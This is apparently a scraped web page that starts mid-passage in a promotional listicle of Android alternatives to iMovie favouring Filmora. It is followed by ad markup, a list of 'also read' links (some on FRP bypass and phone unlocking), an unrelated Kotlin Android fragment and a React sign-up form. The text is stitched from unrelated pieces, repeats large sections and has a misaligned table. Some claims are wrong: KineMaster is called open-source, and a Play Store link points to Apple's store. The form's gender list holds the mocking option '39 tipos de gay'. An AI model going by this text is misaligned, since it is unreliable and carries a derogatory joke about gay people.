Store](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) **Ratings**: 4.1 out of 5 **Summary of user verdict**: Users leave [reviews](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) on the simple usability of the VidTrim Pro app on Google, including trimming and transcoding support here. ### 5\. [WeVideo](https://www.wevideo.com/) Best for Cloud-Based Editing on Android and Browsers For professionals, WeVideo is a strong **iMovie alternative for Android**\-based use. Companies and educational institutes use this app for creating short but engaging promotional videos and tutorials. ![wevideo interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-6.jpg) **Cost**: Creator- USD 9.99, Business- USD 36.99, Enterprise- quoted price **Key Features**: * Remove the background with green screen support. * Royalty-free and commercially licensed songs are available. * Instant upload and editing quality. * Huge stock of images, videos, and stickers. Pros * Multiple platforms supported * Accessible through browsers * Cloud service support assures more storage Cons * Limited native app benefits * Need to upgrade to a paid plan to access more publishing time **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.wevideo.mobile.android), [Apple App Store](https://apps.apple.com/us/app/wevideo-uploader/id615796920) **Ratings**: 4.4 out of 5 (G2) **Summary of user verdict**: As per [reviews](https://www.trustpilot.com/review/wevideo.com?utm%5Fmedium=trustbox&utm%5Fsource=MicroCombo), WeVideo is a favorite of many users, some of who have utilized it for years to create and edit stylish videos. It is simple for beginners. ### 6\. [Magisto](https://www.magisto.com/) **Best for Marketing and Promotional Video Making** Another top app **similar to iMovie for Android** users to depend on is Magisto. Use it to create crisp and visually appealing short videos with premium styles and standard-level editing tools. ![magisto interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-7.jpg) **Cost**: Premium- USD 4.99, Professional- USD 9.99, Business- USD 34.99 **Key Features**: * Commercially-licensed stock music is available. * Download final files in HD quality. * Good customer support benefits are present. * Add personalized logo/text into videos. Pros * Download an unlimited number of videos * Standard editor is available for all users * Premium-level styles and templates are available Cons * Cannot make videos over 10 minutes long * Cloud support only for Professional/Business plan users **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.magisto&referrer=utm%5Fsource%3DMagistoWebsite%26utm%5Fmedium%3DFooterLink), [Apple App Store](https://apps.apple.com/app/id486781045) **Ratings**: 3.9 out of 5 **Summary of user verdict**: [Customers](https://www.g2.com/products/magisto/reviews) and professional editing experts enjoy the easy-to-use quality of Magisto for creating marketing videos in lesser time. ### 7\. [KineMaster](https://kinemaster.com/) **Best for Advanced Video Edits on Open-Source Platform** KineMaster is an open-source app that Android users can try out to create fun videos for different needs, adding the templates available. Moreover, you can adjust the video speed, remove the background instantly, and blend different clips cohesively into one. ![kinemaster app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-8.jpg) **Cost**: Free **Key Features**: * Many templates and effects are available to choose from for instant optimization. * Reverse video playback. * Eight different available blending modes. * Chroma key support for background alteration. Pros * Open-source features * Save and backup videos * Remix the project with your videos and images Cons * Remove ads from videos if you upgrade your plan to Premium * Watermark on free edits **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.nexstreaming.app.kinemasterfree&hl=en%5FUS&gl=US), [Apple App Store](https://apps.apple.com/us/app/kinemaster-video-editor/id1609369954) **Ratings**: 4 out of 5 **Summary of user verdict**: There are many high-quality functions of KineMaster. As per [reviews](https://www.capterra.com/p/233236/KineMaster/reviews/), the green screen support is very useful for quick and efficient video edits, after which they post them easily. ### 8.[Splice](https://www.spliceapp.com/) **Best for Social Media Video Editing with Precise Audio** Another top software for video editing is Splice, which is available for both professionals and beginners to try out. It comes with standard cut/trim/merge tools, besides strong audio editing feature support. Use out of the 400 available songs for background audio and more. ![splice app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-11.jpg) **Cost**: Free with in-app purchases between USD 0.99 to USD 89.99. **Key Features**: * Add customized texts into videos. * Free audio tracks are available for the background. * Speed features like hyperlapse and timelapse are available. * Import and edit bigger file sizes. Pros * Mix and trim audio tracks precisely * Control video speed and audio volume * Share across social media platforms or save offline Cons * Need to opt for paid plans to access unlimited feature access * Slightly complex to use for early beginners **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.splice.video.editor&gl=US), [Apple App Store](https://apps.apple.com/us/app/splice-video-editor-maker/id409838725) **Ratings**: 4.5 out of 5 **Summary of user verdict**: Splice is a useful app for various types of advanced editing work, at reasonable rates, as [per reviewers](https://play.google.com/store/apps/details?id=com.splice.video.editor&gl=US). ## Part 4: How To Edit a Video With an iMovie Alternative on Android Now that you know all the best **Android apps similar to iMovie** choosing the best one should be easier. From an overall perspective, Filmora is one that surely stands out in terms of usability, variety of features, cost, and user-friendliness. So, you should try it out for instantaneous video editing work with movie-quality outcomes**.** ### **How to edit videos with Filmora?** Step1 Download the Filmora app on your Android phone. Step2 Open the app and add video clips. Step3 Use the tools available for specific edits. For example, click the Trim button to cut a section of the video. ![trim to cut sections](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-12.jpg) Also, scale the editing timeline by pinching your fingers together. ![scale the editing timeline](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-13.jpg) Step4 After completing all editing steps, click on the Export button on top of the screen. For a more detailed understanding of how the editing process works on this **iMovie alternative for Android,** see this tutorial video: ## Final Words All the apps mentioned are suitable for Android users for top-notch [video editing](https://tools.techidaily.com/wondershare/filmora/download/) work. For the best of the best benefits, you can try out Filmora, and even practice with the other choices. After checking all, you will have a better experience deciding the final choice. [Free Download](https://tools.techidaily.com/wondershare/filmora/download/) For Win 7 or later(64-bit) [Free Download](https://tools.techidaily.com/wondershare/filmora/download/) For macOS 10.14 or later Part 1: Top Pick for iMovie for Android Alternative To start off the discussion on the most similar **Android alternative iMovie** apps you will find in terms of functionality and benefits; three stand out. This table cohesively represents them for you to know the main points of concern about each. ### #1 Wondershare Filmora- Best for Custom video edits with preset templates ![filmorago icon](https://images.wondershare.com/filmora/article-images/2022/10/filmorago-icon.jpg) For high-quality video recording and then editing, the Filmora tool is useful. Easily add preset filters and templates, adjust sound quality, and more. Download now on [Google Play Store](https://play.google.com/store/apps/details?id=com.wondershare.filmorago&referrer=adjust%5Freftag%3Dc1wsIXVT9RzPW%26utm%5Fsource%3DWebsite%26utm%5Fcampaign%3Dfilmora.wondershare.com%26utm%5Fcontent%3Dfilmora-en) and [Apple App Store](https://apps.apple.com/us/app/filmorago-video-editor-maker/id1019382747). Rating: 4 out of 5 Free, with in-app costs starting at USD 1.99. ## Part 2: Ultimate Overview on 10 Best Alternatives to iMovie for Android Yes, the above three are the best **iMovie similar apps for Android**. However, they are not the only ones to consider seriously. Go through this comparative table on the top 10 alternatives you should try, with their main points on display. | **OS** | **Price** | **Ease of Use** | **Overall Rating** | | | ------------------------ | --------------------------------- | ---------------------------------------------------------------- | ------------------ | ------------ | | **Filmora** | Android, iOS | Free, cost starting at USD 1.99 | Easy | 4 out of 5 | | **VideoShow** | Android, iOS | Free, cost between USD 0.99- USD 179.99 | Medium-Difficult | 2.5 out of 5 | | **VivaVideo** | Android, iOS | Free, cost starting at USD 1.99 | Easy | 3.8 out of 5 | | **VidTrim Pro** | Android | USD 3.49 | Easy-Medium | 4.1 out of 5 | | **WeVideo** | Android, iOS, Chromebook, Windows | Creator- USD 9.99, Business- USD 36.99, Enterprise- quoted price | Easy-Medium | 4.4 out of 5 | | **Magisto** | Android, iOS | Premium- USD 4.99, Professional- USD 9.99, Business- USD 34.99 | Medium-Difficult | 3.9 out of 5 | | **KineMaster** | Android, iOS | Free | Easy-Medium | 4 out of 5 | | **Spice** | Android, iOS | Free with costs between USD 0.99 to USD 89.99 | Medium-Difficult | 4.5 out of 5 | | **Filmora 11 (Windows)** | Windows 11/10/8.1/8/7 | Monthly- USD 19.99, Quarterly- USD 49.99, Annual- USD 79.99 | Easy | 4.4 out of 5 | | **Filmora 11 (Mac)** | macOS 10.14 - macOS 11 | Monthly- USD 19.99, Quarterly- USD 49.99, Annual- USD 79.99 | Easy | 4.4 out of 5 | ## Part 3: 8 Best Windows Movie Maker Alternatives for Android Indeed, multiple capable apps are available that Android users can opt for to improve their video projects with high-quality edits, both custom and using preset templates. Learn more about them here and find the most useful **Android app equivalent to iMovie** for your personalized needs. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) **Best for Custom Video Edits With Pre-Set Templates** One of the best **Android alternatives to iMovie** is Filmora, with its high-grade editing functions after shooting the videos. Use standard tools like splitting, cutting, copying, and merging while also available premium features like voiceover addition and background removal. ![filmorago app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-2.jpg) **Cost**: Free with in-app purchases starting at USD 1.99. **Key Features**: * Easily share files on social media accounts. * Add options from a list of fun stickers. * Multiple preset dynamic filters and effects for use. * Add voiceover and background sound effects. Pros * Record videos before editing * The free trial comes with various creative editing tools * Suitable for all types of users due to its simple UI Cons * Need to upgrade for the full advanced feature list access * Watermark removal is not available for free **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.wondershare.filmorago&referrer=adjust%5Freftag%3Dc1wsIXVT9RzPW%26utm%5Fsource%3DWebsite%26utm%5Fcampaign%3Dfilmora.wondershare.com%26utm%5Fcontent%3Dfilmora-en), [Apple App Store](https://apps.apple.com/us/app/filmorago-video-editor-maker/id1019382747) **Ratings**: 4 out of 5 (TechRadar) **Summary of user verdict**: Users enjoy this app's high-quality tools and editing interface, as per [reviews](https://www.techradar.com/reviews/filmora-go). ### 2\. [VideoShow](http://www.videoshowapp.com/) **Best for Funny Videos and Memes** Another top **Samsung equivalent to iMovie,** among other Android smartphones, is VideoShow. Using this, you can create engaging and visually attractive videos with animations, music, and FX transitions. ![videoshow interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-3.jpg) **Cost**: In-app purchases range from USD 0.99- USD 179.99. **Key Features**: Easily zoom in/out and adjust speed. * Ready-made templates and filters are available. * Add customized background audio. * Add doodles and images into videos. Pros * Access materials center for filters, themes, GIFs, stickers, etc * Compress videos to save space * Add voiceovers to the videos Cons * The slightly complex learning curve here * Need to upgrade to get full use of preset functions **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.xvideostudio.videoeditor&gl=US), [Apple App Store](https://apps.apple.com/us/app/videoshow-video-editor-maker/id930380089) **Ratings**: 2.5 out of 5 **Summary of user verdict**: [VideoShow](https://www.techradar.com/reviews/videoshow) is a major choice for intuitive and simple usability during video editing. Users enjoy the various tools available. ### 3\. [VivaVideo](https://vivavideo.tv/) **Best for Short Video Recording and Editing** VivaVideo is a capable **app similar to iMovie for Android** that allows users the opportunity to create high-resolution short videos and then fine-tune them better. Here, easily make changes like cutting out the background, removing unnecessary sound effects, changing speed, and more. ![vivavideo interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-4.jpg) **Cost**: Free with in-app purchases starting at USD 1.99 **Key Features**: * Select chorus in video playback with one click. * Translate subtitle tracks. * PIP support for additional features like denoise, voice changer, reverse, etc. * Restore the deleted background with a single tap. Pros * Optimized toolbar for easy feature access * Add and organize favorites * Long press on the video to include PIP elements Cons * No major dimension support * Advanced benefits like 4K UHD support requires upgrades **How to download**: [Google Play Store](https://apps.apple.com/us/app/vivavideo-video-editor-maker/id738897668), [Apple App Store](https://apps.apple.com/us/app/vivavideo-video-editor-maker/id738897668) **Ratings**: 3.8 out of 5 **Summary of user verdict**: As per [reviews](https://www.g2.com/products/viva-video/reviews), users can easily find and use the various top-grade functions here, like unwanted part removal, duration changing, cropping, and canvas support. ### 4\. [VidTrim Pro](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) **Best for Video Edits With Transcoding Support** The VidTrim Pro is a professional-level Android-based video editor. Use it to cut video files into shorter clips and merge, adjust the visuals with effects like Blur, Luma, etc., and much more. It is compatible with ARM/x86 CPUs as well. ![vidtrim pro interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-5.jpg) **Cost**: USD 3.49 **Key Features**: * Convert files into audio type, i.e., MP3. * Multiple effects like Negate, Vignette, Negate, etc. * True rotation if you are using encoding and quick rotation if not. * Transcoding is supported for video files. Pros * Multiple languages are supported * Delete the clips easily * Play the files before sharing Cons * Automatically saves into internal storage, no other choices * No iOS alternative is available **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) **Ratings**: 4.1 out of 5 **Summary of user verdict**: Users leave [reviews](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) on the simple usability of the VidTrim Pro app on Google, including trimming and transcoding support here. ### 5\. [WeVideo](https://www.wevideo.com/) Best for Cloud-Based Editing on Android and Browsers For professionals, WeVideo is a strong **iMovie alternative for Android**\-based use. Companies and educational institutes use this app for creating short but engaging promotional videos and tutorials. ![wevideo interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-6.jpg) **Cost**: Creator- USD 9.99, Business- USD 36.99, Enterprise- quoted price **Key Features**: * Remove the background with green screen support. * Royalty-free and commercially licensed songs are available. * Instant upload and editing quality. * Huge stock of images, videos, and stickers. Pros * Multiple platforms supported * Accessible through browsers * Cloud service support assures more storage Cons * Limited native app benefits * Need to upgrade to a paid plan to access more publishing time **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.wevideo.mobile.android), [Apple App Store](https://apps.apple.com/us/app/wevideo-uploader/id615796920) **Ratings**: 4.4 out of 5 (G2) **Summary of user verdict**: As per [reviews](https://www.trustpilot.com/review/wevideo.com?utm%5Fmedium=trustbox&utm%5Fsource=MicroCombo), WeVideo is a favorite of many users, some of who have utilized it for years to create and edit stylish videos. It is simple for beginners. ### 6\. [Magisto](https://www.magisto.com/) **Best for Marketing and Promotional Video Making** Another top app **similar to iMovie for Android** users to depend on is Magisto. Use it to create crisp and visually appealing short videos with premium styles and standard-level editing tools. ![magisto interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-7.jpg) **Cost**: Premium- USD 4.99, Professional- USD 9.99, Business- USD 34.99 **Key Features**: * Commercially-licensed stock music is available. * Download final files in HD quality. * Good customer support benefits are present. * Add personalized logo/text into videos. Pros * Download an unlimited number of videos * Standard editor is available for all users * Premium-level styles and templates are available Cons * Cannot make videos over 10 minutes long * Cloud support only for Professional/Business plan users **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.magisto&referrer=utm%5Fsource%3DMagistoWebsite%26utm%5Fmedium%3DFooterLink), [Apple App Store](https://apps.apple.com/app/id486781045) **Ratings**: 3.9 out of 5 **Summary of user verdict**: [Customers](https://www.g2.com/products/magisto/reviews) and professional editing experts enjoy the easy-to-use quality of Magisto for creating marketing videos in lesser time. ### 7\. [KineMaster](https://kinemaster.com/) **Best for Advanced Video Edits on Open-Source Platform** KineMaster is an open-source app that Android users can try out to create fun videos for different needs, adding the templates available. Moreover, you can adjust the video speed, remove the background instantly, and blend different clips cohesively into one. ![kinemaster app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-8.jpg) **Cost**: Free **Key Features**: * Many templates and effects are available to choose from for instant optimization. * Reverse video playback. * Eight different available blending modes. * Chroma key support for background alteration. Pros * Open-source features * Save and backup videos * Remix the project with your videos and images Cons * Remove ads from videos if you upgrade your plan to Premium * Watermark on free edits **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.nexstreaming.app.kinemasterfree&hl=en%5FUS&gl=US), [Apple App Store](https://apps.apple.com/us/app/kinemaster-video-editor/id1609369954) **Ratings**: 4 out of 5 **Summary of user verdict**: There are many high-quality functions of KineMaster. As per [reviews](https://www.capterra.com/p/233236/KineMaster/reviews/), the green screen support is very useful for quick and efficient video edits, after which they post them easily. ### 8.[Splice](https://www.spliceapp.com/) **Best for Social Media Video Editing with Precise Audio** Another top software for video editing is Splice, which is available for both professionals and beginners to try out. It comes with standard cut/trim/merge tools, besides strong audio editing feature support. Use out of the 400 available songs for background audio and more. ![splice app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-11.jpg) **Cost**: Free with in-app purchases between USD 0.99 to USD 89.99. **Key Features**: * Add customized texts into videos. * Free audio tracks are available for the background. * Speed features like hyperlapse and timelapse are available. * Import and edit bigger file sizes. Pros * Mix and trim audio tracks precisely * Control video speed and audio volume * Share across social media platforms or save offline Cons * Need to opt for paid plans to access unlimited feature access * Slightly complex to use for early beginners **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.splice.video.editor&gl=US), [Apple App Store](https://apps.apple.com/us/app/splice-video-editor-maker/id409838725) **Ratings**: 4.5 out of 5 **Summary of user verdict**: Splice is a useful app for various types of advanced editing work, at reasonable rates, as [per reviewers](https://play.google.com/store/apps/details?id=com.splice.video.editor&gl=US). ## Part 4: How To Edit a Video With an iMovie Alternative on Android Now that you know all the best **Android apps similar to iMovie** choosing the best one should be easier. From an overall perspective, Filmora is one that surely stands out in terms of usability, variety of features, cost, and user-friendliness. So, you should try it out for instantaneous video editing work with movie-quality outcomes**.** ### **How to edit videos with Filmora?** Step1 Download the Filmora app on your Android phone. Step2 Open the app and add video clips. Step3 Use the tools available for specific edits. For example, click the Trim button to cut a section of the video. ![trim to cut sections](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-12.jpg) Also, scale the editing timeline by pinching your fingers together. ![scale the editing timeline](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-13.jpg) Step4 After completing all editing steps, click on the Export button on top of the screen. For a more detailed understanding of how the editing process works on this **iMovie alternative for Android,** see this tutorial video: ## Final Words All the apps mentioned are suitable for Android users for top-notch [video editing](https://tools.techidaily.com/wondershare/filmora/download/) work. For the best of the best benefits, you can try out Filmora, and even practice with the other choices. After checking all, you will have a better experience deciding the final choice. [Free Download](https://tools.techidaily.com/wondershare/filmora/download/) For Win 7 or later(64-bit) [Free Download](https://tools.techidaily.com/wondershare/filmora/download/) For macOS 10.14 or later <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7571918770474297" data-ad-slot="1223367746"></ins> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-7571918770474297" data-ad-slot="8358498916" data-ad-format="auto" data-full-width-responsive="true"></ins> <span class="atpl-alsoreadstyle">Also read:</span> <div><ul> <li><a href="https://smart-video-creator.techidaily.com/new-2024-approved-vertical-video-mastery-the-best-editing-apps-for-iphone-and-android/"><u>New 2024 Approved Vertical Video Mastery The Best Editing Apps for iPhone and Android</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/in-2024-in-this-article-we-will-introduce-you-videopad-video-editor/"><u>In 2024, In This Article, We Will Introduce You Videopad Video Editor</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/updated-in-2024-the-best-of-the-best-top-mts-video-editing-software-2023/"><u>Updated In 2024, The Best of the Best Top MTS Video Editing Software 2023</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/s-leading-video-editors-for-music-and-sound-design/"><u>S Leading Video Editors for Music and Sound Design</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-2024-approved-the-best-of-the-best-ogg-converter-features-and-functions/"><u>New 2024 Approved The Best of the Best OGG Converter Features and Functions</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-in-2024-quickcut-pro-for-mac/"><u>New In 2024, QuickCut Pro for Mac</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-2024-approved-mastering-audio-transitions-2-methods-for-fading-in-and-out-in-final-cut-pro/"><u>New 2024 Approved Mastering Audio Transitions 2 Methods for Fading In and Out in Final Cut Pro</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-experts-choice-top-aiff-conversion-tools-revealed-for-2024/"><u>New Experts Choice Top AIFF Conversion Tools Revealed for 2024</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/updated-2024-approved-top-10-free-android-video-editors-with-no-watermark/"><u>Updated 2024 Approved Top 10 Free Android Video Editors with No Watermark</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-best-of-the-bunch-top-10-free-video-editors-compatible-with-chromebook/"><u>New Best of the Bunch Top 10 Free Video Editors Compatible with Chromebook</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/2024-approved-free-video-editing-software-10-options-beyond-movie-maker/"><u>2024 Approved Free Video Editing Software 10 Options Beyond Movie Maker</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/video-on-the-go-10-best-free-speed-adjustment-apps-for-mobile-editing-for-2024/"><u>Video on the Go 10 Best Free Speed Adjustment Apps for Mobile Editing for 2024</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/trim-videos-for-free-7-watermark-free-editors/"><u>Trim Videos for Free 7 Watermark-Free Editors</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-the-ultimate-list-of-aspect-ratio-calculators-online/"><u>New The Ultimate List of Aspect Ratio Calculators Online</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/2024-approved-transform-your-home-movies-essential-editing-techniques/"><u>2024 Approved Transform Your Home Movies Essential Editing Techniques</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/updated-take-your-videos-to-the-next-level-free-sound-effects-for-final-cut-pro-for-2024/"><u>Updated Take Your Videos to the Next Level Free Sound Effects for Final Cut Pro for 2024</u></a></li> <li><a href="https://smart-video-creator.techidaily.com/new-2024-approved-youtube-thumbnail-secrets-unlocking-the-power-of-eye-catching-images/"><u>New 2024 Approved YouTube Thumbnail Secrets Unlocking the Power of Eye-Catching Images</u></a></li> <li><a href="https://ai-voice-clone.techidaily.com/new-2024-approved-how-to-create-marketing-videos-ultimate-guide/"><u>New 2024 Approved How to Create Marketing Videos Ultimate Guide</u></a></li> <li><a href="https://ios-unlock.techidaily.com/7-top-ways-to-resolve-apple-id-not-active-issue-for-iphone-15-by-drfone-ios/"><u>7 Top Ways To Resolve Apple ID Not Active Issue For iPhone 15</u></a></li> <li><a href="https://android-pokemon-go.techidaily.com/all-you-need-to-know-about-mega-greninja-for-zte-blade-a73-5g-drfone-by-drfone-virtual-android/"><u>All You Need To Know About Mega Greninja For ZTE Blade A73 5G | Dr.fone</u></a></li> <li><a href="https://howto.techidaily.com/troubleshooting-guide-how-to-fix-an-unresponsive-xiaomi-redmi-a2-screen-drfone-by-drfone-fix-android-problems-fix-android-problems/"><u>Troubleshooting Guide How to Fix an Unresponsive Xiaomi Redmi A2 Screen | Dr.fone</u></a></li> <li><a href="https://howto.techidaily.com/8-solutions-to-solve-youtube-app-crashing-on-vivo-y56-5g-drfone-by-drfone-fix-android-problems-fix-android-problems/"><u>8 Solutions to Solve YouTube App Crashing on Vivo Y56 5G | Dr.fone</u></a></li> <li><a href="https://techidaily.com/how-to-recover-lost-data-of-apple-iphone-15-drfone-by-drfone-ios-data-recovery-ios-data-recovery/"><u>How To Recover Lost Data of Apple iPhone 15? | Dr.fone</u></a></li> <li><a href="https://android-transfer.techidaily.com/in-2024-how-to-transfer-apps-from-samsung-galaxy-f04-to-another-drfone-by-drfone-transfer-from-android-transfer-from-android/"><u>In 2024, How to Transfer Apps from Samsung Galaxy F04 to Another | Dr.fone</u></a></li> <li><a href="https://techidaily.com/solutions-to-repair-corrupt-excel-file-2000-by-stellar-guide/"><u>Solutions to Repair Corrupt Excel File 2000</u></a></li> <li><a href="https://ai-video-editing.techidaily.com/1713949947459-have-you-ever-heard-bokeh-effects-for-videos-do-you-know-that-you-can-make-your-own-bokeh-video-easily-with-some-software-this-article-will-introduce-you-ho/"><u>Have You Ever Heard Bokeh Effects for Videos? Do You Know that You Can Make Your Own Bokeh Video Easily with some Software. This Article Will Introduce You How to Make a Bokeh Effect Video with Steps for 2024</u></a></li> <li><a href="https://android-pokemon-go.techidaily.com/in-2024-best-pokemons-for-pvp-matches-in-pokemon-go-for-sony-xperia-10-v-drfone-by-drfone-virtual-android/"><u>In 2024, Best Pokemons for PVP Matches in Pokemon Go For Sony Xperia 10 V | Dr.fone</u></a></li> <li><a href="https://phone-solutions.techidaily.com/3-best-tools-to-hard-reset-oneplus-nord-n30-se-drfone-by-drfone-reset-android-reset-android/"><u>3 Best Tools to Hard Reset OnePlus Nord N30 SE | Dr.fone</u></a></li> <li><a href="https://ai-vdieo-software.techidaily.com/the-ultimate-guide-to-video-trimming-top-10-pc-tools/"><u>The Ultimate Guide to Video Trimming Top 10 PC Tools</u></a></li> <li><a href="https://bypass-frp.techidaily.com/in-2024-step-by-step-tutorial-how-to-bypass-google-frp-by-drfone-android/"><u>In 2024, Step-by-Step Tutorial How To Bypass Google FRP</u></a></li> <li><a href="https://android-unlock.techidaily.com/in-2024-mastering-android-device-manager-the-ultimate-guide-to-unlocking-your-vivo-y02t-device-by-drfone-android/"><u>In 2024, Mastering Android Device Manager The Ultimate Guide to Unlocking Your Vivo Y02T Device</u></a></li> <li><a href="https://review-topics.techidaily.com/possible-solutions-to-restore-deleted-messages-from-xiaomi-redmi-12-by-fonelab-android-recover-messages/"><u>Possible solutions to restore deleted messages from Xiaomi Redmi 12</u></a></li> <li><a href="https://phone-solutions.techidaily.com/in-2024-how-to-watch-hulu-outside-us-on-oppo-k11-5g-drfone-by-drfone-virtual-android/"><u>In 2024, How to Watch Hulu Outside US On Oppo K11 5G | Dr.fone</u></a></li> </ul></div>
package com.harian.closer.share.location.presentation.message import androidx.core.view.WindowCompat import androidx.fragment.app.viewModels import androidx.navigation.fragment.navArgs import com.harian.closer.share.location.platform.BaseFragment import com.harian.closer.share.location.platform.SharedPrefs import com.harian.closer.share.location.utils.extension.findGlobalNavController import com.harian.closer.share.location.utils.extension.glideLoadImage import com.harian.software.closer.share.location.R import com.harian.software.closer.share.location.databinding.FragmentMessageDetailBinding import dagger.hilt.android.AndroidEntryPoint import javax.inject.Inject @AndroidEntryPoint class MessageDetailFragment : BaseFragment<FragmentMessageDetailBinding>() { override val layoutId: Int get() = R.layout.fragment_message_detail @Inject lateinit var sharedPrefs: SharedPrefs private val args by navArgs<MessageDetailFragmentArgs>() private val viewmodel by viewModels<MessageViewModel>() private val messagesAdapter = MessageDetailAdapter() override fun setupSystemBarBehavior() { super.setupSystemBarBehavior() activity?.window?.let { WindowCompat.setDecorFitsSystemWindows(it, true) } } override fun setupUI() { super.setupUI() binding.apply { args.user.let { user -> imgAvatar.glideLoadImage(user.getAuthorizedAvatarUrl(sharedPrefs.getToken())) tvName.text = user.name } } setupRecyclerView() viewmodel.getMessage(args.user) viewmodel.subscribeMessage() } private fun setupRecyclerView() { binding.apply { rvMessages.adapter = messagesAdapter } } override fun setupListener() { super.setupListener() binding.apply { btnSend.setOnClickListener { validateMessage { message: String -> viewmodel.sendMessage(args.user, message) edtMessage.setText("") } } btnBack.setOnClickListener { findGlobalNavController()?.popBackStack() } } } override fun handleStateChanges() { viewmodel.messagesLiveData.observe(viewLifecycleOwner) { messagesAdapter.updateData(it) binding.rvMessages.scrollToPosition(0) } } private fun validateMessage(onValid: (message: String) -> Unit) { if (!binding.edtMessage.text.isNullOrBlank()) { onValid.invoke(binding.edtMessage.text.toString()) } else { showToast(getString(R.string.message_is_empty)) } } override fun onDestroyView() { super.onDestroyView() activity?.window?.let { WindowCompat.setDecorFitsSystemWindows(it, false) } } }
import React from 'react' import logo from '@/assets/react.svg' import { useForm } from "react-hook-form" import { registerUserService } from '@/services/userServices' import { useNavigate } from 'react-router-dom' import '@/styles/form.css' const SignUp = () => { //se usa usenavigate para redireccionar a alguna ruta (pertenece a react router dom) const navigate = useNavigate() const { register, handleSubmit, formState: { errors }, } = useForm() //funcion que envia datos a la api const onSubmit = async (data) => { try { const response = await registerUserService(data) if (response.status === 201) { console.log("usuario creado exitosamente") navigate('/login') } } catch (error) { console.log(`ocurrio un error en sign up `, error.message) } } return ( <> <main className="form-signin w-100 m-auto"> <form onSubmit={handleSubmit(onSubmit)}> <img className="mb-4" src= {logo} alt="" width={72} height={57} /> <h1 className="h3 mb-3 fw-normal">Please sign up</h1> <div className="form-floating"> <input type="text" className="form-control" id="first_name" name='first_name' placeholder="Jhon" {...register("first_name", { required: true })} /> <label htmlFor="first_name">First Name</label> </div> {errors.first_name && <span>This field is required</span>} <div className="form-floating"> <input type="text" className="form-control" id="last_name" name='last_name' placeholder="Doe" {...register("last_name", { required: true })} /> <label htmlFor="last_name">Last Name</label> </div> {errors.last_name && <span>This field is required</span>} <div className="form-floating"> <select className='form-select' id='gender' name='gender' {...register("gender")} > <option value="">Choose</option> <option value="M">Masculino</option> <option value="F">Femenino</option> <option value="39">39 tipos de gay</option> </select> <label htmlFor="gender">Gender</label> </div> <div className="form-floating"> <input type="email" className="form-control" id="email" name='email' placeholder="name@example.com" {...register("email", { required: true })} /> <label htmlFor="email">Email address</label> </div> {errors.email && <span>This field is required</span>} <div className="form-floating"> <input type="password" className="form-control" id="password" name='password' placeholder="Password" {...register("password", { required: true })} /> <label htmlFor="password">Password</label> </div> {errors.password && <span>This field is required</span>} <button className="btn btn-primary w-100 py-2" type="submit"> Sign in </button> <p className="mt-5 mb-3 text-body-secondary">© 2017–2023</p> </form> </main> </> ) } export default SignUp
